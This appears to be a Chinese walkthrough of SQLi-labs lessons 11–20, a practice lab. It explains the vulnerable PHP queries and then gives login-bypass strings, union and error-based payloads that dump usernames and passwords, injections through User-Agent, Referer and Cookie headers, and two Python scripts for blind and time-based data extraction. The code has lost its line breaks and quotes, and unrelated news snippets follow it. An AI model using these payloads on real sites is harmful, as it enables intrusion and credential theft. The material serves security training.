(资料图)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username="x" 11 |
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=("x") 12 |
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username=("x") 13 |
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username=("x") 14 |
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注、延时盲注 | username="x" 15 |
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注、延时盲注 | username=("x") 16 |
#less-11 POST方式接受变量$uname=$_POST["uname"];$passwd=$_POST["passwd"];#单引号拼接SQL@$sql="SELECT username, password FROM users WHERE username="$uname" and password="$passwd" LIMIT 0,1";#less-13 POST 方式接受变量$uname=$_POST["uname"];$passwd=$_POST["passwd"];# 使用单引号和括号来拼接 SQL@$sql="SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1";if true: 并没有输出啥信息else: print_r(mysql_error()); #less-14 先使用 双引号 再直接带入 SQL 语句$uname=""".$uname.""";$passwd=""".$passwd."""; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
# 注释掉 passwd 来登录uname=admin"--+&passwd=&submit=Submituname=admin"#&passwd=&submit=Submit# 注释后面语句 并 添加一个永真条件uname=admin&passwd=1" or 1--+&submit=Submituname=admin&passwd=1"||1--+&submit=Submituname=admin&passwd=1" or 1#&submit=Submituname=admin&passwd=1"||1#&submit=Submit# 闭合后面语句 并 添加一个永真条件uname=admin&passwd=1"or"1"="1&submit=Submituname=admin&passwd=1"||"1"="1&submit=Submit
uname=admin&passwd=1" union select 1,(select group_concat(username,password) from users)#&submit=Submit
import requests chars =""for i in range(32,127): chars += chr(i)result = "" def get_length(value): #获取要查询的数据的长度 for n in range(1,100): payload = "admin" and length(({0})) ={1} #".format(data_payload,n) data = {"uname":payload,"passwd":"admin"} html = requests.post(url,data=data) length = len(html.text) if length >value: print("……data length is :" + str(n)) return n def get_data(data_length,value): #获取数据 global result for i in range(1,data_length): for char in chars: payload = "admin"and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char)) data = {"uname":payload,"passwd":"admin"} html = requests.post(url,data=data) length = len(html.text) if length>value: #根据返回长度的不同来判断字符正确与否 result += char print("…… data is :"+ result) break url = "http://10.10.35.108/sqllabs/Less-15/"data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"value = 1460 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看 length = get_length(value) +1get_data(length,value)print(result)
import requestsimport timevalue =""for i in range(32,127): value += chr(i)result=""def get_length():#获取数据的长度 for n in range(1, 100): payload = "admin" and if((length(({0} ))={1}),sleep(2),1) #".format(data_payload, n) data = {"uname": payload, "passwd": "admin", "submit": "submit"} start_time = time.time() html = requests.post(url, data=data) end_time = time.time() use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了 if use_time > 2: print("...... data"s length is :"+ str(n)) return n def get_data(length):#获取数据 global result for n in range(1,length): for v in value : payload = "admin" and if((ascii(substr(({0} ),{1},1)) = "{2}"),sleep(2),1) #".format(data_payload,n,ord(v)) data = {"uname":payload,"passwd":"admin","submit":"submit"} start_time = time.time() requests.post(url,data=data) end_time = time.time() use_time = end_time - start_time if use_time >2: result += v print("......"+result) url = "http://10.10.35.108/sqllabs/Less-11/" data_payload ="select database()" length = get_length() + 1 #注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10get_data(length)print(".....data is :"+ result)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | password = "$passwd" |
# uname 参数被过滤了$uname=check_input($_POST["uname"]); $passwd=$_POST["passwd"];# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";if select 结果正确: # 更新语句 使用单引号拼接 passwd $update="UPDATE users SET password = "$passwd" WHERE username="$row1""; if mysql 报错: print_r(mysql_error());
因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入
uname=admin&passwd=1" AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | VALUES ("$uagent") |
# 获取请求的 uagent 和 ip 地址$uagent = $_SERVER["HTTP_USER_AGENT"];$IP = $_SERVER["REMOTE_ADDR"];if 输入了uname 和 passwd: # 对这两个参数进行过滤 $uname = check_input($_POST["uname"]); $passwd = check_input($_POST["passwd"]); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; if SQL语句有返回结果: # 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤 $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ("$uagent", "$IP", $uname)"; 输出 $uagent; print_r(mysql_error()); else: print_r(mysql_error());
这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。
PHP 里用来获取客户端 IP 的变量
$_SERVER["HTTP_CLIENT_IP"]
这个很少使用,不一定服务器都实现了。客户端可以伪造。$_SERVER["HTTP_X_FORWARDED_FOR"]
,客户端可以伪造。$_SERVER["REMOTE_ADDR"]
,客户端不能伪造。所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:
User-Agent: 1" AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and "1"="1
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | VALUES ("$uagent") |
简单源码分析:
PHP# 获取请求的 referer 和 ip 地址$uagent = $_SERVER["HTTP_REFERER"];$IP = $_SERVER["REMOTE_ADDR"];if 输入了uname 和 passwd: # uname 和 passwd 参数均被过滤 $uname = check_input($_POST["uname"]); $passwd = check_input($_POST["passwd"]); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; if SQL语句有返回结果: # 单引号拼接后直接带入 insert 语句 $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ("$uagent", "$IP")"; 输出 $_SERVER["HTTP_REFERER"] print_r(mysql_error()); else:
这里的漏洞点出在了 referer 里面,其他利用方式基本上也是一毛一样。
Referer: " AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and "1"="1
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username="$cookee" |
简单源码分析:
PHP
从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。
Cookie: uname=admin" and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#
Cookie: uname=admin"+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#
标签:
SQLLabs靶场less11-20Less-11-16|请求方式|注入类型|拼接方式||||||POST|联合、报错、布尔盲注、延时盲注|username=&
4月1日晚,江苏省宿迁市宿城区宝龙广场24街灯火通明,一个个夜市摊位“串”起了充满烟火气的“夜经济”...
游戏股再度走强,电魂网络(603258)2连板,游族网络(002174)涨超7%,恺英网络(002517)、宝通科技(300031)...
优化公积金政策是各城市支持住房消费的重要举措之一。近期,全国多个城市出台公积金贷款“带押过户”、...
智电出行获得了疑似智己L5的路试谍照,新车定位纯电中型轿车,和蔚来ET5属于同级别,车顶前方配备瞭望塔...
中新网北京4月9日电(刘越)“诗情画意江南岸,泽被子孙是青山。但有如此绿水青山,何愁不是金山银山…...
新华社巴黎4月9日电(记者乔本孝)法国内政部长达尔马宁9日在社交媒体上发文说,法国阿尔卑斯山区当天发...
摩根称赞阿森纳踢出精彩的半场比赛,并晒出印有枪手logo的马克杯,英超,阿森纳,马克杯,利物浦,德国足球,...
直播吧4月9日讯2022年中国篮球名人堂入堂仪式今天在天津举办,王治郅作为杰出运动员入选首届中国篮球名...
当然了,我们不能否定吉克隽逸的专业性,她的确是个有实力的人,就连央视这么大的舞台也向她发出橄榄枝...
1、李代桃僵,中国习语,出自北宋郭茂谦《乐府诗集鸡鸣》。2、这个习语的意思是李子树而不是桃树死了。...
北京时间4月10日凌晨3点30分,2022-2023赛季NBA常规赛迎来收官战,湖人将在主场迎战爵士。
对于2023年的规划,万兴科技表示将紧跟市场与技术发展趋势,持续探索AIGC相关技术与应用机会,重点关注A...
央视新闻客户端讯记者从中国石油获悉,今天(4月8日),我国首次在距今5 4亿年的寒武系页岩地层中,距...
1、1874年,儒勒·凡尔纳在他的科幻小说《神秘岛》中预言,水将成为未来人类的能源,水会变成未来的“煤...
与此同时,在深交所指导下,深圳证券信息有限公司(简称“深证信息”)持续挖掘创业板市场优势特色,积...
1、有一个搞笑的穿越小说女扮男装的不过是1v1的男主很有气场女主有很多桃花不过还没有写完真心还不错的~
热心村民两次带他进川,跋山涉水寻找“李小红”---在襄阳的28年里,黄耀军一家人对“巴爷”的关照让大家...
后天新一轮冷空气携风带雨再次启程呼伦贝尔
苏科大为何只给半小时确认时间,学院院长回应
X 关闭
X 关闭